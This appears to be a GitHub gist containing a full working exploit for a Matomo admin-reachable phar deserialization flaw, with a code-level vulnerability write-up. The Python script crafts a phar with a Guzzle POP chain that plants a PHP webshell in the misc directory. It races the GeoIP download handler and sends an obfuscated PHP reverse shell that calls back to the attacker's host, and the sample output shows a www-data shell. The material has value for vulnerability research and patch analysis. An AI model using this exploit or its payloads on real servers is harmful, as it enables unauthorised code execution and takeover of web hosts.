Skip to content

Instantly share code, notes, and snippets.

@stevenseeley
Last active January 2, 2024 05:45
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save stevenseeley/e1b1ad6290ad3d186cdff50df6732632 to your computer and use it in GitHub Desktop.
Save stevenseeley/e1b1ad6290ad3d186cdff50df6732632 to your computer and use it in GitHub Desktop.
A Matomo n-day RCE that was silently patched by removing the UserCountry module
#!/usr/bin/env python3
"""
Matomo downloadMissingGeoIpDb Phar Deserialization of Untrusted Data Remote Code Execution Vulnerability
This exploit will only work when this is merged: https://github.com/matomo-org/matomo/pull/16582
## Summary:
A race condition deserialization of untrusted data can be reached from an admin user that can result in remote code execution.
## Notes:
- bug was silently patched by removing the UserCountry module
- worked against 3.x
## Requirements:
This is not the perfect bug, this exploit requires that the target has:
1. php-curl disabled
2. the GoogleAnalyticsImporter plugin installed
3. an admin api key
We can probably remove requirement 2 with enough effort of developing a pop chain using internal classes only (best to use toString gadgets). Also, there maybe other API's that use the Http class with attacker controlled input and is exploitable rce, I'm just demonstrating this particular chain.
## Notes:
- I tested this on Ubuntu 18 using the installation guide they provide: https://matomo.org/docs/installation/#the-5-minute-matomo-installation
- php-curl maybe disabled or not installed on 3rd party hosting providers
## Vulnerability Analysis:
Bare with me, this one will be a little complicated to explain. Inside of the plugins/UserCountry/Controller.php script (this is a default plugin) we can see the following API:
```php
public function downloadMissingGeoIpDb()
{
$this->dieIfGeolocationAdminIsDisabled();
Piwik::checkUserHasSuperUserAccess();
if ($_SERVER["REQUEST_METHOD"] == "POST") {
try {
$this->checkTokenInUrl();
Json::sendHeaderJSON();
// based on the database type (provided by the 'key' query param) determine the
// url & output file name
$key = Common::getRequestVar('key', null, 'string'); // 1
if ($this->isGeoIp2Enabled()) {
$url = GeoIP2AutoUpdater::getConfiguredUrl($key); // 2
$filename = GeoIP2AutoUpdater::getZippedFilenameToDownloadTo($url, $key, GeoIP2AutoUpdater::getGeoIPUrlExtension($url));
$outputPath = GeoIp2::getPathForGeoIpDatabase($filename);
} else {
$url = GeoIPAutoUpdater::getConfiguredUrl($key);
$ext = GeoIPAutoUpdater::getGeoIPUrlExtension($url);
$filename = GeoIp::$dbNames[$key][0] . '.' . $ext;
if (substr($filename, 0, 15) == 'GeoLiteCity.dat') {
$filename = 'GeoIPCity.dat' . substr($filename, 15);
}
$outputPath = GeoIp::getPathForGeoIpDatabase($filename);
}
// download part of the file
$result = Http::downloadChunk(
$url, $outputPath, Common::getRequestVar('continue', true, 'int')); // 6
```
We can see that the code at [1] sets the `$key` variable from attacker controlled input. At [2] the code gets the configured `$url` based on that key. It's possible to set the urls for each of the keys via the `updateGeoIPLinks` method in the same controller:
```php
public function updateGeoIPLinks()
{
$this->dieIfGeolocationAdminIsDisabled();
Piwik::checkUserHasSuperUserAccess();
if ($_SERVER["REQUEST_METHOD"] == "POST") {
Json::sendHeaderJSON();
try {
$this->checkTokenInUrl();
if ($this->isGeoIp2Enabled()) {
GeoIP2AutoUpdater::setUpdaterOptionsFromUrl(); // 3
} else {
GeoIPAutoUpdater::setUpdaterOptionsFromUrl();
}
// if there is a updater URL for a database, but its missing from the misc dir, tell
// the browser so it can download it next
$info = $this->getNextMissingDbUrlInfo();
if ($info !== false) {
return json_encode($info);
} else {
$view = new View("@UserCountry/_updaterNextRunTime");
if ($this->isGeoIp2Enabled()) {
$view->nextRunTime = GeoIP2AutoUpdater::getNextRunTime();
} else {
$view->nextRunTime = GeoIPAutoUpdater::getNextRunTime();
}
$nextRunTimeHtml = $view->render();
return json_encode(array('nextRunTime' => $nextRunTimeHtml));
}
} catch (Exception $ex) {
return json_encode(array('error' => $ex->getMessage()));
}
}
}
```
At *[3]* the code calls `setUpdaterOptionsFromUrl` because the `isGeoIp2Enabled` returns true (default). This code is defined in plugins/GeoIp2/GeoIP2AutoUpdater.php:
```php
public static function setUpdaterOptionsFromUrl()
{
$options = array(
'loc' => Common::getRequestVar('loc_db', false, 'string'), // 4
'isp' => Common::getRequestVar('isp_db', false, 'string'),
'period' => Common::getRequestVar('period', false, 'string'),
);
foreach (self::$urlOptions as $optionKey => $optionName) {
$options[$optionKey] = Common::unsanitizeInputValue($options[$optionKey]); // URLs should not be sanitized
}
self::setUpdaterOptions($options); // 5
}
```
At *[4]* the code gets the parameters `loc_db` and `isp_db` from the request and at *[5]* the code sets the parameters in some sort of persistant storage (probably a database). Back in `downloadMissingGeoIpDb` at *[6]* we can see the code calls the static method `Http::downloadChunk`.
Inside of the core/Http.php class, we can see that the `getTransportMethod` returns the `$method` to use. If php-curl is not enabled, then the `fopen` method is returned.
```php
class Http
{
/**
* Returns the "best" available transport method for {@link sendHttpRequest()} calls.
*
* @return string|null Either curl, fopen, socket or null if no method is supported.
* @api
*/
public static function getTransportMethod()
{
$method = 'curl';
if (!self::isCurlEnabled()) {
$method = 'fopen';
if (@ini_get('allow_url_fopen') != '1') {
$method = 'socket';
if (!self::isSocketEnabled()) {
return null;
}
}
}
return $method;
}
protected static function isSocketEnabled()
{
return function_exists('fsockopen');
}
protected static function isCurlEnabled()
{
return function_exists('curl_init') && function_exists('curl_exec');
}
```
Inside of the same class, the `downloadChunk` method is defined and calls `sendHttpRequest` with the attacker supplied `$url` at *[7]*
```php
public static function downloadChunk($url, $outputPath, $isContinuation)
{
// make sure file doesn't already exist if we're starting a new download
if (!$isContinuation
&& file_exists($outputPath)
) {
throw new Exception(
Piwik::translate('General_DownloadFail_FileExists', "'" . $outputPath . "'")
. ' ' . Piwik::translate('General_DownloadPleaseRemoveExisting'));
}
// if we're starting a download, get the expected file size & save as an option
$downloadOption = $outputPath . '_expectedDownloadSize';
if (!$isContinuation) {
$expectedFileSizeResult = Http::sendHttpRequest( // 7
...
}
// ...
public static function sendHttpRequest($aUrl,
$timeout,
$userAgent = null,
$destinationPath = null,
$followDepth = 0,
$acceptLanguage = false,
$byteRange = false,
$getExtendedInfo = false,
$httpMethod = 'GET',
$httpUsername = null,
$httpPassword = null)
{
// create output file
$file = self::ensureDestinationDirectoryExists($destinationPath);
$acceptLanguage = $acceptLanguage ? 'Accept-Language: ' . $acceptLanguage : '';
return self::sendHttpRequestBy(self::getTransportMethod(), $aUrl,... // 8
```
Then, at [8] the `sendHttpRequest` method calls `sendHttpRequestBy` using the `$url` and the result from `getTransportMethod`.
```php
public static function sendHttpRequestBy(
$method = 'socket',
$aUrl,
$timeout,
$userAgent = null,
$destinationPath = null,
$file = null, // not a resource
$followDepth = 0,
$acceptLanguage = false,
$acceptInvalidSslCertificate = false,
$byteRange = false,
$getExtendedInfo = false,
$httpMethod = 'GET',
$httpUsername = null,
$httpPassword = null,
$requestBody = null,
$additionalHeaders = array()
) {
// ...
} elseif ($method == 'fopen') { // 9
$response = false;
//...
// save to file
if (is_resource($file)) {
if (!($handle = fopen($aUrl, 'rb', false, $ctx))) {
throw new Exception("Unable to open $aUrl");
}
while (!feof($handle)) {
$response = fread($handle, 8192);
$fileLength += strlen($response);
fwrite($file, $response);
}
fclose($handle);
} else {
$response = @file_get_contents($aUrl, 0, $ctx); // 10
```
At *[9]* the code checks that the method is set to `fopen`, it will be if curl is not enabled in the environment. Note that curl is not required for installation of matomo. The issue with the bug at *[10]* is that it's possible for an attacker to trigger phar:// deserialization since the controlled url is parsed to `file_get_contents`.
## Exploitation:
With this bug, it's possible to leak file content data via a race condition or execute arbitray code via phar deserialization. Let's first look at the race condition. Continuing from `downloadMissingGeoIpDb` we can see that there is a call to `GeoIP2AutoUpdater::unzipDownloadedFile` at *[11]*. Note here that `$unlink` is set to true
```
// download part of the file
$result = Http::downloadChunk(
$url, $outputPath, Common::getRequestVar('continue', true, 'int'));
// if the file is done
if ($result['current_size'] >= $result['expected_file_size']) {
if ($this->isGeoIp2Enabled()) {
GeoIP2AutoUpdater::unzipDownloadedFile($outputPath, $key, $url, $unlink = true); // 11
} else {
GeoIPAutoUpdater::unzipDownloadedFile($outputPath, $unlink = true);
}
$info = $this->getNextMissingDbUrlInfo();
if ($info !== false) {
return json_encode($info);
}
}
return json_encode($result);
} catch (Exception $ex) {
return json_encode(array('error' => $ex->getMessage()));
```
For the sake of completeness, I have included the complete function:
```php
public static function unzipDownloadedFile($path, $dbType, $url, $unlink = false)
{
$isDbIp = self::isDbIpUrl($url);
$isDbIpUnknownDbType = $isDbIp && substr($path, -5, 5) == '.mmdb';
// extract file
if (substr($path, -7, 7) == '.tar.gz') {
// find the .dat file in the tar archive
$unzip = Unzip::factory('tar.gz', $path);
$content = $unzip->listContent();
if (empty($content)) {
throw new Exception(Piwik::translate('UserCountry_CannotListContent',
array("'$path'", $unzip->errorInfo())));
}
$fileToExtract = null;
foreach ($content as $info) {
$archivedPath = $info['filename'];
foreach (LocationProviderGeoIp2::$dbNames[$dbType] as $dbName) {
if (basename($archivedPath) === $dbName
|| preg_match('/' . $dbName . '/', basename($archivedPath))
) {
$fileToExtract = $archivedPath;
}
}
}
if ($fileToExtract === null) {
throw new Exception(Piwik::translate('GeoIp2_CannotFindGeoIPDatabaseInArchive',
array("'$path'")));
}
// extract JUST the .dat file
$unzipped = $unzip->extractInString($fileToExtract);
if (empty($unzipped)) {
throw new Exception(Piwik::translate('GeoIp2_CannotUnzipGeoIPFile',
array("'$path'", $unzip->errorInfo())));
}
$dbFilename = basename($fileToExtract);
$tempFilename = $dbFilename . '.new';
$outputPath = self::getTemporaryFolder($tempFilename);
// write unzipped to file
$fd = fopen($outputPath, 'wb'); // 12
fwrite($fd, $unzipped); // 13
fclose($fd);
} else if (substr($path, -3, 3) == '.gz'
|| $isDbIpUnknownDbType
) {
$unzip = Unzip::factory('gz', $path);
if ($isDbIpUnknownDbType) {
$tempFilename = 'unzipped-temp-dbip-file.mmdb';
} else {
$dbFilename = substr(basename($path), 0, -3);
$tempFilename = $dbFilename . '.new';
}
$outputPath = self::getTemporaryFolder($tempFilename);
$success = $unzip->extract($outputPath);
if ($success !== true) {
throw new Exception(Piwik::translate('UserCountry_CannotUnzipDatFile',
array("'$path'", $unzip->errorInfo())));
}
if ($isDbIpUnknownDbType) {
$php = new Php([$dbType => [$outputPath]]);
$dbFilename = $php->detectDatabaseType($dbType) . '.mmdb';
}
} else {
$ext = end(explode(basename($path), '.', 2));
throw new Exception(Piwik::translate('UserCountry_UnsupportedArchiveType', "'$ext'"));
}
try {
// test that the new archive is a valid GeoIP 2 database
if (empty($dbFilename) || false === LocationProviderGeoIp2::getGeoIPDatabaseTypeFromFilename($dbFilename)) {
throw new Exception("Unexpected GeoIP 2 archive file name '$path'.");
}
$customDbNames = array(
'loc' => array(),
'isp' => array()
);
$customDbNames[$dbType] = array($outputPath);
$phpProvider = new Php($customDbNames);
try {
// test that the new archive is a valid GeoIP 2 database
if (empty($dbFilename) || false === LocationProviderGeoIp2::getGeoIPDatabaseTypeFromFilename($dbFilename)) {
throw new Exception("Unexpected GeoIP 2 archive file name '$path'.");
}
$customDbNames = array(
'loc' => array(),
'isp' => array()
);
$customDbNames[$dbType] = array($outputPath);
$phpProvider = new Php($customDbNames);
try {
$location = $phpProvider->getLocation(array('ip' => LocationProviderGeoIp2::TEST_IP));
} catch (\Exception $e) {
Log::info("GeoIP2AutoUpdater: Encountered exception when testing newly downloaded" .
" GeoIP 2 database: %s", $e->getMessage());
throw new Exception(Piwik::translate('UserCountry_ThisUrlIsNotAValidGeoIPDB'));
}
if (empty($location)) {
throw new Exception(Piwik::translate('UserCountry_ThisUrlIsNotAValidGeoIPDB'));
}
// delete the existing GeoIP database (if any) and rename the downloaded file
$oldDbFile = LocationProviderGeoIp2::getPathForGeoIpDatabase($dbFilename);
if (file_exists($oldDbFile)) {
@unlink($oldDbFile);
}
$tempFile = self::getTemporaryFolder($tempFilename);
if (@rename($tempFile, $oldDbFile) !== true) {
//In case the $tempfile cannot be renamed, we copy the file.
copy($tempFile, $oldDbFile);
unlink($tempFile);
}
// delete original archive
if ($unlink) {
unlink($path);
}
self::renameAnyExtraGeolocationDatabases($dbFilename, $dbType);
} catch (Exception $ex) {
// remove downloaded files
if (file_exists($outputPath)) {
unlink($outputPath); // 14
}
unlink($path);
throw $ex;
}
}
Although it can't be seen in the code here because it dynamically is created, at *[12]* and *[13]* the `outputPath` that is used for a file write. The contents are completely controlled but not the filename. Later at *[14]* the code deletes the file!!
Even though the file is deleted, this gives us a race condition to exploit the file read/phar deserialization. To win the race, I had to pad my phar archive with a large string and recalculate the checksum. We will also need a pop chain for exploitation. Even though I am told from the php gods that an rce pop chain exists in the code without using plugins, I simply used the pop chain as part of the GoogleAnalyticsImporter plugin for a quick poc because this was developed by matomo anyway and likely to be installed.
```sh
researcher@pluto:/var/www/html/matomo$ grep -ir "__destruct" plugins/GoogleAnalyticsImporter
plugins/GoogleAnalyticsImporter/vendor/guzzlehttp/guzzle/src/Handler/CurlMultiHandler.php: public function __destruct()
plugins/GoogleAnalyticsImporter/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php: public function __destruct()
plugins/GoogleAnalyticsImporter/vendor/guzzlehttp/guzzle/src/Cookie/SessionCookieJar.php: public function __destruct()
plugins/GoogleAnalyticsImporter/vendor/guzzlehttp/psr7/src/FnStream.php: public function __destruct()
plugins/GoogleAnalyticsImporter/vendor/guzzlehttp/psr7/src/FnStream.php: * An unserialize would allow the __destruct to run when the unserialized value goes out of scope.
plugins/GoogleAnalyticsImporter/vendor/guzzlehttp/psr7/src/Stream.php: public function __destruct()
```
So, to recap, the race condition is here inside of `downloadMissingGeoIpDb`:
```php
// download part of the file
$result = Http::downloadChunk(
$url, $outputPath, Common::getRequestVar('continue', true, 'int')); // party starter
// RACE RIGHT HERE FOR RCE
// if the file is done
if ($result['current_size'] >= $result['expected_file_size']) {
if ($this->isGeoIp2Enabled()) {
GeoIP2AutoUpdater::unzipDownloadedFile($outputPath, $key, $url, $unlink = true);
} else {
GeoIPAutoUpdater::unzipDownloadedFile($outputPath, $unlink = true); // party pooper
}
$info = $this->getNextMissingDbUrlInfo();
if ($info !== false) {
return json_encode($info);
}
}
```
## Example:
researcher@panda:~$ ./poc.py 192.168.75.156 /matomo/ 172.24.80.92:1234 c472fe7b9300545d1bf9202dc2253e35
(+) leaking the web root path
(+) starting http server
(+) setting the http callback server
(+) triggering deserialization in another thread
(+) triggering download and attempting race...
(+) triggered http GET callback for the phar
(+) starting handler on port 1234
(+) connection from 172.24.80.1
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
exit
*** Connection closed by remote host ***
## Credit:
Steven Seeley of Qihoo 360 Vulcan Team
"""
import re
import sys
import zlib
import base64
import struct
import hashlib
import telnetlib
import socket
import requests
from threading import Thread
from http.server import BaseHTTPRequestHandler, HTTPServer
def handler(lport):
print("(+) starting handler on port %d" % lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()
print("(+) connection from %s" % addr[0])
t.sock = conn
print("(+) pop thy shell!")
t.interact()
def get_code(lserver, lport):
phpkode = ("""
unlink("hacked.php");@set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);""")
phpkode += ("""$dis=@ini_get('disable_functions');""")
phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);""")
phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """)
phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """)
phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1\\n";} """)
phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""")
phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis)){$fp=popen($c,'r');""")
phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """)
phpkode += ("""$o.=fread($fp,1024);}}@pclose($fp);}else""")
phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """)
phpkode += ("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); """)
phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} """)
phpkode += ("""@proc_close($handle);}else if($imARhD('system')and!$kqqI('system',$dis)){ """)
phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(); """)
phpkode += ("""}else if($imARhD('passthru')and!$kqqI('passthru',$dis)){ob_start();passthru($c); """)
phpkode += ("""$o=ob_get_contents();ob_end_clean(); """)
phpkode += ("""}else if($imARhD('shell_exec')and!$kqqI('shell_exec',$dis)){ """)
phpkode += ("""$o=shell_exec($c);}else if($imARhD('exec')and!$kqqI('exec',$dis)){ """)
phpkode += ("""$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} """)
phpkode += ("""$nofuncs='no exec functions'; """)
phpkode += ("""if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ """)
phpkode += ("""$s=@fsockopen('tcp://%s','%d');while($c=fread($s,2048)){$out = ''; """ % (lserver, lport))
phpkode += ("""if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
phpkode += ("""}elseif (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit'){break;}else{ """)
phpkode += ("""$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); """)
phpkode += ("""break;}}fwrite($s,$out);}fclose($s);}else{ """)
phpkode += ("""$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,'%s','%d'); """ % (lserver, lport))
phpkode += ("""@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){ """)
phpkode += ("""$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
phpkode += ("""} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { """)
phpkode += ("""break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ """)
phpkode += ("""@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); """)
phpkode += ("""}@socket_close($s);} """)
return phpkode
class serve_phar(BaseHTTPRequestHandler):
# turn off logging
def log_message(self, format, *args):
return
def generate_phar(self, p):
"""Generate the phar archive with a custom pop chain"""
pop = 'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":2:{s:41:"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename";'
pop += str('s:%d:"%s";' % (len(p), p))
pop += 's:36:"\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies";'
pop += 'a:1:{i:0;O:27:"GuzzleHttp\\Cookie\\SetCookie":1:{s:33:"\x00GuzzleHttp\\Cookie\\SetCookie\x00data";'
pop += 'a:3:{s:5:"Value";'
pop += 's:48:"<?php eval(base64_decode($_SERVER[HTTP_SI])); ?>";'
pop += 's:7:"Expires";'
pop += 'b:1;'
pop += 's:7:"Discard";'
pop += 'b:0;}}}}'
s = hashlib.sha1()
f = "si.txt"
stub = b"<?php __HALT_COMPILER(); ?>\r\n"
f_contents = b"Full Stack Web Attack"
manifest_len = 46 + len(pop) + len(f)
# build our phar
phar = stub
phar += struct.pack("<I", manifest_len) # length of manifest in bytes
phar += struct.pack("<I", 0x1) # number of files in the phar
phar += struct.pack("<H", 0x11) # api version of the phar manifest
phar += struct.pack("<I", 0x10000) # global phar bitmapped flags
phar += struct.pack("<I", 0x0) # length of phar alias
phar += struct.pack("<I", len(pop)) # length of phar metadata
phar += str.encode(pop) # pop chain
phar += struct.pack("<I", len(f)) # length of filename in the archive
phar += str.encode(f) # filename
phar += struct.pack("<I", len(f_contents)) # length of the uncompressed file contents
phar += struct.pack("<I", 0x0) # unix timestamp of file set to Jan 01 1970.
phar += struct.pack("<I", len(f_contents)) # length of the compressed file contents
phar += struct.pack("<I", zlib.crc32(f_contents) & 0xFFFFFFFF) # crc32 checksum of un-compressed file contents
phar += struct.pack("<I", 0x1b6) # bit-mapped file-specific flags
phar += struct.pack("<I", 0x0) # serialized File Meta-data length
phar += f_contents # serialized File Meta-data
phar += str.encode("A" * 132000) # this is just some junk, so that we win the race condition!
s.update(phar)
phar += s.digest() # signature
phar += struct.pack("<I", 0x2) # signiture is of type sha1
phar += b"GBMB" # signature presence
return phar
def do_GET(self):
if "pwn.gz" in self.path:
print("(+) triggered http GET callback for the phar")
self.send_response(200)
payload = self.generate_phar("%smisc/hacked.php" % target_web_root_path)
self.send_header("Content-Type", "application/gzip")
self.send_header("Content-Length", len(payload))
self.end_headers()
# we write into the misc directory because we know its writeable due to the GeoIP2-ISP.mmdb.gz file
self.wfile.write(payload)
return
def seed_file(uri, host, tkn):
p = {
"module" : "UserCountry",
"action" : "updateGeoIPLinks"
}
# we are racing the GeoIP2-ISP.mmdb.gz file
d = {
"loc_db" : "phar://misc/GeoIP2-ISP.mmdb.gz",
"isp_db" : "http://%s:8000/pwn.gz" % host,
"token_auth" : tkn
}
r = requests.post(uri, params=p, data=d)
assert "phar" in r.text, "(-) setting the callback seed failed!"
def trigger_bug(uri, key, tkn):
p = {
"module" : "UserCountry",
"action" : "downloadMissingGeoIpDb",
"continue" : 0
}
d = { "key" : key, "token_auth" : tkn }
if key == "loc":
while 1:
requests.post(uri, params=p, data=d)
r = requests.post(uri, params=p, data=d)
assert "The downloaded file is not a valid geolocation database." in r.text, "(-) attack probably failed!"
def leak_web_root(uri, tkn):
p = {
"module" : "Installation",
"action" : "systemCheckPage",
"token_auth" : tkn
}
r = requests.post(uri, params=p)
match = re.search("</span> (.*)tmp", r.text)
assert match, "(-) couldn't find web root!"
return match.group(1)
def main():
global target_web_root_path
if len(sys.argv) != 5:
print("(+) usage: %s <target> <path> <connectback:port> <token>" % sys.argv[0])
print("(+) eg: %s 192.168.75.129 /matomo/ 192.168.75.1:4444 ac8482a1922c5b15944e6580e65f22fb" % sys.argv[0])
sys.exit(0)
t = sys.argv[1]
p = sys.argv[2]
host = sys.argv[3]
port = 4444
tkn = sys.argv[4]
if not p.startswith("/"): p = "/%s" % p
if not p.endswith("/"): p = "%s/" % p
if ":" in sys.argv[3]:
host = sys.argv[3].split(":")[0]
port = sys.argv[3].split(":")[1]
assert port.isdigit(), "(-) not a port number!"
assert len(tkn) == 32, "(-) not a valid token for sure!"
uri = "http://%s%sindex.php" % (t, p)
print("(+) leaking the web root path")
# stage 1 - we leak the web root path
target_web_root_path = leak_web_root(uri, tkn)
print("(+) starting http server")
# stage 2 - start our http server
server = HTTPServer(('0.0.0.0', 8000), serve_phar)
handlerthr = Thread(target=server.serve_forever, args=())
handlerthr.daemon = True
handlerthr.start()
print("(+) setting the http callback server")
# stage 3 - we set the connectback server and phar location
seed_file(uri, host, tkn)
print("(+) triggering deserialization in another thread")
# stage 4 - thread off a racer to trigger the deserialization
handlerthr = Thread(target=trigger_bug, args=(uri, "loc", tkn, ))
handlerthr.daemon = True
handlerthr.start()
print("(+) triggering download and attempting race...")
# stage 5 - trigger the phar download, win the race and write our shell
trigger_bug(uri, "isp", tkn)
handlerthr = Thread(target=handler, args=(int(port),))
handlerthr.start()
# stage 6 - go get some rce
h = { "si" : base64.b64encode(str.encode(get_code(host, int(port)))) }
requests.get("http://%s%smisc/hacked.php" % (t, p), headers=h)
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment